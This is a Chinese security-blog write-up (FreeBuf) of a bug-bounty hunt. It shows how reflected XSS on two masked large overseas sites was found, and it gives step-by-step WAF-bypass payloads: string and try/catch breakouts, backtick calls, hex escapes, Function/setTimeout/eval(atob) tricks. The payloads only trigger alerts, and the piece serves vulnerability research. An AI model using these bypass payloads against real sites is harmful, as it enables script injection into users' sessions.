freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS
2025-04-04 23:53:00
所属地 四川省

前言

分享两个海外大型SRC厂商的XSS成功绕过WAF的案例,觉得挺有趣的,遂整理成文,大佬们轻喷~

XSS绕过

某全球顶级网络设备商

首先,URL是这样的

https://axxx.test.com/Cxxxxxxx/gxxxxx?Axxxx=hxxxx&Bxxxx=yxxxx2&Gxxxx=yxxxx&Gxxxxx=gxxxxx&Kxxxx=vxxxxx&Lxxx=nxxxx&Mxxxx=oxxxx=nxxx&Mxxx=xxxx&cxxxxx=ixxx&location=US

既然是找XSS,那么无非就是找输入输出的点,再绕下WAF就可以了,工具这里就不说了,只说手工。可以看到这么多个输入参数,该怎么快速定位到有回显输出的那个参数呢?

可以直接这样,把每一个参数值都写成一个标记值,比如"X1lyS-1","X1lyS-2","X1lyS-3"……然后再去响应里搜索标记值,就能快速找出有回显输出的参数

image-20250404020822689

查看源代码,搜索"X1lyS",由于右键不方便看js代码的结构,每次右键也麻烦,于是推荐使用burp抓包来看就很直观了

一共搜索到4处回显,选择一处结构最清晰简单的进行下一步测试,因为结构清晰的地方便于构造闭合

image-20250404023515796

可以看到GET参数"location=X1lyS-11",回显输出在了响应中,"var _location='X1lyS-11';",那么就测试这里了

该处回显点,在前端页面表现为修改地理位置的功能点,所以师傅们以后遇到这种场景就可以考虑测试一下有无XSS

image-20250404023804379

image-20250404023653605

回显点处的结构很简单,位于script标签内的_location变量的值处

<script type="text/javascript">
// ... [其他变量已隐藏] ...
var _location='X1lyS-11';
// ... [其余代码已虚化] ...
</script>

既然已经在<script>标签内,那么就直接构造js代码就可以了,不用再写什么html标签

首先,先闭合逃逸出来_location变量

location=X1lyS-11';test

image-20250404023502372

逃逸成功!没有过滤',和;符号

直接写个alert试试呢,最好先不要直接写alert(),为什么呢?因为alert+()是两个变量,alert是一个变量,如果alert()被拦截,根据控制变量法,我们不能一步知道WAF到底是拦截的alert字符串还是()符号,还是两者都拦截?绕过WAF的核心就是一点一点的FUZZ出来WAF到底拦截的是哪一个小部分,然后我们再使用其他可行的方式替换掉这个小部分就能绕过WAF了

&location=X1lyS-11';alert

image-20250404025541319

逃逸失效,被WAF转义拦截,说明WAF会拦截alert关键字

location=X1lyS-11';()

直接失去回显,location被设置为了"US"默认值,说明WAF拦截了()

image-20250404054156945

那我们先在alert关键字本身做文章,尝试最简单的大小写绕过试试

location=X1lyS-11';alerT

image-20250404053101527

大小写绕过试试失败

拼接绕过试试,使用window去拼接alert关键字

window['al'+'ert'](1);

但是注意()也被拦截了,于是我们使用反引号来绕过,替换()

location=X1lyS-11';window['al'+'ert']`1`;

image-20250404054828803

这里还需要注意,这个payload里出现了几个特殊字符[]以及反引号,它们都需要被URL编码,不然会导致服务器400格式错误,于是我们修改如下

location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%601%60%3B

image-20250404055424259

成功绕过alert()的过滤!

不过还不要忘记加上//,闭合掉后面的js代码,这样语法才能正确,我们插入的js弹窗代码才会被执行

location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%60X1ly?S%60%3B//

image-20250404055814484

在浏览器浏览响应,看看是否成功弹窗

image-20250404060152312

哟西成功弹窗!

那除了这种正面绕过方式还有什么呢?反面绕过,也就是寻找没有被过滤的关键字来替代alert证明XSS漏洞存在

比如,下面几个函数来替换

// 使用prompt
prompt(1);

// 使用confirm
confirm(1);

// 使用console.log (不会弹窗但可以验证执行)
console.log(1);

image-20250404061229057

经过尝试promptconfirm也被禁用了,但是console.log没有被禁用,于是直接又找到一种解法

location=X1lyS-11';console.log%60X1ly%3FS%60//

image-20250404061555540

执行成功!

如果还想再复杂点该怎么构造呢?使用执行函数嵌套弹窗函数加编码试试

先看看eval关键字

image-20250404062209742

毫不意外被过滤了,那找一些偏僻点的执行方式试试?

使用 Function 构造函数

// 基本用法
new Function('alert(1)')()

// 带参数的用法
Function('a','l','e','r','t','(1)')()

// 字符串拼接
Function('al'+'ert(1)')()

使用 setTimeout/setInterval

// 直接使用
setTimeout('alert(1)')

// 字符串拼接
setInterval['call'](null, 'al'+'ert(1)')

使用 location 或 URL 相关方法

// 通过 javascript: 协议
location['href'] = 'javascript:alert(1)'

// 使用 assign
location.assign('javascript:alert(1)')

使用事件处理器

// 创建事件
document.onclick = new Function('alert(1)')

// 添加事件监听
document.addEventListener('click', () => { alert(1) })

使用动态脚本创建

// 创建 script 元素
const s = document.createElement('script')
s.textContent = 'alert(1)'
document.body.appendChild(s)

使用 import()

// 动态导入
import('data:text/javascript,alert(1)')

使用 with 语句

// 结合 with 语句
with({a:'al',b:'ert'}) { window[a+b](1) }

使用 Proxy 对象

// 通过 Proxy 执行
new Proxy({}, { get: (_, prop) => prop === 'exec' && alert(1) }).exec

这里就简单展示几个成功的,不全部展示了,都是一样的手法

setTimeout

注意哈还是要把括号换成反引号

location=X1lyS-11';setTimeout`alert`1``

image-20250404064445945

但是这样是不正确的语法,因为出现了四个反引号,会导致几个反引号配对闭合时产生语法错误,只需要加一个\转义一下内侧的两个反引号就行了,加上注释符号

location=X1lyS-11';setTimeout`alert\`1\``//

不过,你是不是忘记了什么?alert也被过滤了呀,于是再使用一个十六进制编码下

al\x65rt

特别注意!这样的编码方式需要被嵌套到执行函数内部才能被正确解析,直接这样是语法错误的

image-20250404065018501

url编码

location=X1lyS-11';setTimeout%60al%5Cx65rt%5C%60X1ly?S%5C%60%60%2F%2F

image-20250404065351456

xBrSIythj14FnCk.png

成功!

javascript

javascript关键字也需要被十六进制编码,同理可得

location=X1lyS-11';location%5B%27href%27%5D%20%3D%20%27j%5Cx61vascript%3Aal%5Cx65rt%601%60%27//

xBrSIythj14FnCk.png

某全球最大的在线学习平台

url是这样

https://www.cxxxxxxx.com/cxxxxx/cxxxxxxxx.pl?cxxxx=vxxxx&fxxx=Mxxxx&jxxxx=txxxxx&m=bxxxxx&mod=pxxxx&month=exxxxx&pxxxx=uxxxx&product_isbn_issn=xxxxxx

上面介绍过的就不再重复,探测出来有回显的参数是product_isbn_issn

前端页面长这样子,对没错,就是一个空白的框框

image-20250404071047531

抓包看看回显点所处的js代码结构

image-20250404071642540

可以看到回显点在try-catch语句块里

那么先构造闭合逃逸

image-20250404145258448

逃逸成功

直接尝试alert关键字

product_isbn_issn=X1lyS');alert

image-20250404150339818

发现竟然没有拦截,那么直接闭合后面的符号,不用注释了

product_isbn_issn=X1lyS');alert('1

image-20250404150700741

卧槽?直接就闭合了?也没有任何拦截,这么快就秒了吗?

看看浏览器响应,是否真的弹窗了?

image-20250404151037989

果然没这么简单!奇怪,没有成功弹窗,看看控制台有什么报错吗难道?

image-20250404151313715

果然有相关的报错,解释一下这个报错是什么意思

这是一个框架访问错误: 错误信息显示Cannot read properties of undefined (reading 'location'),说明代码试图访问window.parent.frames['banner']时失败。可能原因有:父窗口中不存在名为'banner'的框架,或者由于同源策略限制,无法访问跨域的iframe内容

为什么有这个报错会弹窗失败呢?看看此处的js代码

function rexxxxx() {
var raxxxxx=Mxxx.fxxxx(xxx);

try {
window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');alert('1');
} catch (e) {}
}
</script>

那是因为如果window.parent.frames['banner']访问失败,try会捕获错误,但catch (e) {}直接忽略,导致你看不到错误。alert('1')不会执行,因为前面的代码已经报错,JS会停止执行

那咋办?排查下这个报错为什么会产生呢,在浏览器控制台(F12)运行:

console.log(window.parent.frames['banner']);

如果返回undefined,说明没有这个frame

如果返回null或报跨域错误,说明存在但无法访问

image-20250404153108853

好吧说明没有这个frame,那咋办才能执行我们的弹窗代码捏?这个报错我们无法直接修复,修复不了它的下一行弹窗代码就不会被执行……

既然这样,我们再逃逸一层试试呢,直接逃逸出来try语句,脱离这个报错的影响范围

product_isbn_issn=X1lyS');}alert('1

image-20250404154051467

这样显然是不对的语法,还有一个}未被正确闭合,于是我们得做大修改,把它们分成三个部分来闭合

///这是第一个部分:rexxxxx()函数块,函数内部需要使用catch (e)闭合掉try语句,使得语法正确
function rexxxxx() {
var raxxxxx=Mxxx.fxxxx(xxx);

try {
window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');
///

///这是第二部分,将用来写我们的弹窗代码逻辑                    
test');            
///

///这是第三部分,将使用try语句闭合掉catch语句,使得语法正确,然后还要正确闭合}符号,于是需要在构造一个fuction来闭合,也就是外面再套一层函数块

} catch (e) {}
}
///
</script>

理论成立,开始实战!

闭合第一部分rexxxxx()函数块,以及函数块内部的try语句

product_isbn_issn=X1lyS');}catch(e){}}test

image-20250404155129187

闭合成功!

接着开始构造弹窗代码逻辑

product_isbn_issn=X1lyS');}catch(e){}}alert(1);

image-20250404160259195

先这样写着占个位,继续闭合第三部分

product_isbn_issn=X1lyS');}catch(e){}}alert(1);function X(){try{//

url编个码

product_isbn_issn=X1lyS%27)%3B%7Dcatch(e)%7B%7D%7Dalert('X1ly?S')%3Bfunction%20X()%7Btry%7B%2F%2F

image-20250404162941642

看看响应

image-20250404163146842

哟西!成功弹窗

"主播主播,你的payload还是太不吃操作了,有没有更复杂的payload"

"有的兄弟有的,这样更复杂的payload还有很多"

假设alert被过滤,我们有很多种方式去绕过:

  • eval嵌套base64编码

eval(atob`YWxlcnQoJ1gxbHk/Uycp`); 
  • Reflect.apply反射调用

Reflect.apply(window['al'+'ert'], null, ['X1ly?S']);
  • Object.defineProperty动态定义

Object.defineProperty(window, 'a', {get: () => window['ale'+'rt']}).a('X1ly?S');
  • String.fromCharCode拼接函数名

window[String.fromCharCode(97,108,101,114,116)]('X1ly?S');
  • <iframe>沙盒绕过

document.body.innerHTML += '<iframe src="javascript:al\u0065rt(\'X1ly?S\')">';
  • Event事件处理函数

eval(URL.createObjectURL(new Blob(['al\x65rt("X1ly?S")'], {type: 'text/javascript'})));
  • Array.map隐式调用

['al'].map(x => window[x + 'ert']('X1ly?S'))[0];

ok,文章到此结束,师傅们下次再见~,欢迎留言下次写什么文章呢?

# xss # waf # SRC漏洞挖掘
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录